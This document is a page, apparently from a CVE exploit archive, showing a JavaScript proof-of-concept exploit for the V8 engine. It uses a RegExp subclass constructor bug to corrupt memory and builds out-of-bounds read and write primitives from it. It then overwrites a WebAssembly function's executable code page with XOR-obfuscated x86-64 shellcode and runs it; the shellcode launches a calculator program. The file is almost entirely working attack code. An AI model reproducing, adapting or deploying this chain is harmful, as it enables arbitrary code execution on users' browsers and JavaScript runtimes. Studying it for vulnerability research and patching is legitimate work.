4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / final.js JS
ENABLE_LOG = true;
IN_WORKER = true;

var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1,
    127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0,
    1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2,
    0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 10, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasm_instance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasm_instance.exports.main;

var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
    96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
    105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
    72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
    72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
    184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
    94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
function print(data) {
    console.log(data)
}

var g_array;
var tDerivedNCount = 17 * 87481 - 8; // 0x16b141
var tDerivedNDepth = 19 * 19; // 0x169

function cb(flag) {
    if (flag == true) {
        return;
    }
    g_array = new Array(0); // g_array = []
    g_array[0] = 0x1dbabe * 2; // 0x3b757c
    return 'c01db33f';
}

function gc() {
    for (var i = 0; i < 0x10000; ++i) {
        new String();
    }
}

function oobAccess() {
    //%SystemBreak();
    var this_ = this;
    this.buffer = null;
    this.buffer_view = null;

    this.page_buffer = null;
    this.page_view = null;

    this.prevent_opt = [];

    class LeakArrayBuffer extends ArrayBuffer {
        constructor() {
            super(0x1000);
            this.slot = this;
        }
    }

    this.page_buffer = new LeakArrayBuffer();
    this.page_view = new DataView(this.page_buffer);

    // <==
    new RegExp({ toString: function () { return 'a' } });
    cb(true);

    class DerivedBase extends RegExp {
        constructor() {
            // var array = null;
            super(
                // at this point, the 4-byte allocation for the JSRegExp `this` object
                // has just happened.
                {
                    toString: cb
                }, 'g'
                // now the runtime JSRegExp constructor is called, corrupting the
                // JSArray.
            );

            // this allocation will now directly follow the FixedArray allocation
            // made for `this.data`, which is where `array.elements` points to.  // ???

            this_.buffer = new ArrayBuffer(0x80);
            g_array[12] = this_.page_buffer;
        }
    }

    // try{
    var derived_n = eval(`(function derived_n(i) {
        if (i == 0) {
            return DerivedBase;
        }

        class DerivedN extends derived_n(i-1) {
            constructor() {
                super();
                return;
                ${"this.a=0;".repeat(tDerivedNCount)}
            }
        }

        return DerivedN;
    })`);

    gc();


    new (derived_n(tDerivedNDepth))();

    this.buffer_view = new DataView(this.buffer);
    this.leakPtr = function (obj) {
        this.page_buffer.slot = obj;
        //return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt); // 0x1f
        return this.buffer_view.getUint32(0x4f, true, ...this.prevent_opt); // 0x4f
    }
    this.leakPtrh = function (obj) {
        this.page_buffer.slot = obj;
        //return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt); // 0x1f
        return this.buffer_view.getUint32(0x4f + 4, true, ...this.prevent_opt); // 0x4f
    }
    this.setPtr = function (addr) {
        // this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt); // 0xf
        this.buffer_view.setUint32(0x1f, addr, true, ...this.prevent_opt); // 0xf
    }
    this.setPtrh = function (addr) {
        // this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt); // 0xf
        this.buffer_view.setUint32(0x1f + 4, addr, true, ...this.prevent_opt); // 0xf
    }
    this.setPtr64 = function (addr) {
        this.setPtr(addr % (2 ** 32));
        this.setPtrh(addr / (2 ** 32));
    }
    this.read32 = function (addr) {
        this.setPtr(addr);
        return this.page_view.getUint32(0, true, ...this.prevent_opt);
    }
    this.read64 = function (addr) {
        this.setPtr(addr);
        this.setPtrh(addr / (2 ** 32));
        var l = this.page_view.getUint32(0, true, ...this.prevent_opt);
        var h = this.page_view.getUint32(4, true, ...this.prevent_opt);
        var res = l + h * 0x100000000 - 1;
        print('[*] low at 0x' + l.toString(16));
        print('[*] high at 0x' + h.toString(16));
        print('[*] res at 0x' + res.toString(16));
        return res;
    }
    this.read64h = function (addr) {
        this.setPtr(addr);
        this.setPtrh(addr / (2 ** 32));
        var l = this.page_view.getUint32(0, true, ...this.prevent_opt);
        var h = this.page_view.getUint32(4, true, ...this.prevent_opt);
        print('[*] high at 0x' + h.toString(16));
        return h;
    }
    this.read64l = function (addr) {
        this.setPtr(addr);
        this.setPtrh(addr / (2 ** 32));
        var l = this.page_view.getUint32(0, true, ...this.prevent_opt);
        var h = this.page_view.getUint32(4, true, ...this.prevent_opt);
        print('[*] low at 0x' + l.toString(16));
        return l;
    }
    this.write32 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint32(0, value, true, ...this.prevent_opt);
    }

    this.write8 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint8(0, value, ...this.prevent_opt);
    }
    this.write8_64 = function (addr, value) {
        this.setPtr64(addr);
        this.page_view.setUint8(0, value, ...this.prevent_opt);
    }
    this.setBytes = function (addr, content) {
        for (var i = 0; i < content.length; i++) {
            this.write8(addr + i, content[i]);
        }
    }
    this.setBytes64 = function (addr, content) {
        for (var i = 0; i < content.length; i++) {
            this.write8_64(addr + i, content[i]);
        }
    }
    return this;
}

function trigger() {
    var oob = oobAccess();
    print('[*] show asm function');
    //%DebugPrint(funcAsm);
    var func_ptr = oob.leakPtr(funcAsm);
    var func_ptrh = oob.leakPtrh(funcAsm);
    var fp = func_ptrh * 2 ** 32 + func_ptr - 1;
    print('[*] target_function low at 0x' + func_ptr.toString(16));
    print('[*] target_function high at 0x' + func_ptrh.toString(16));
    print('[*] target_function at 0x' + fp.toString(16));

    var kCodeInsOffset = 0x1b;
    var share_info = oob.read64(fp + 0x18);
    print('[*] share_info at 0x' + share_info.toString(16));
    var code_addr = oob.read64(share_info + 0x8);
    print('[*] code_addr at 0x' + code_addr.toString(16));
    code_addr = code_addr + 0x60;
    print('[*] code_addr(rwx) at 0x' + code_addr.toString(16));
    print('[*] before write shellcode');
    for (var i = 0; i < shellcode.length; i++) {
        this.write8_64(code_addr + i, shellcode[i]);
    }
    print('[*] write shellcode over');
    //%DebugPrint(target_function);
    //%SystemBreak();
    funcAsm(1);
}

try {
    print("start running");
    trigger();
} catch (e) {
    print(e);
}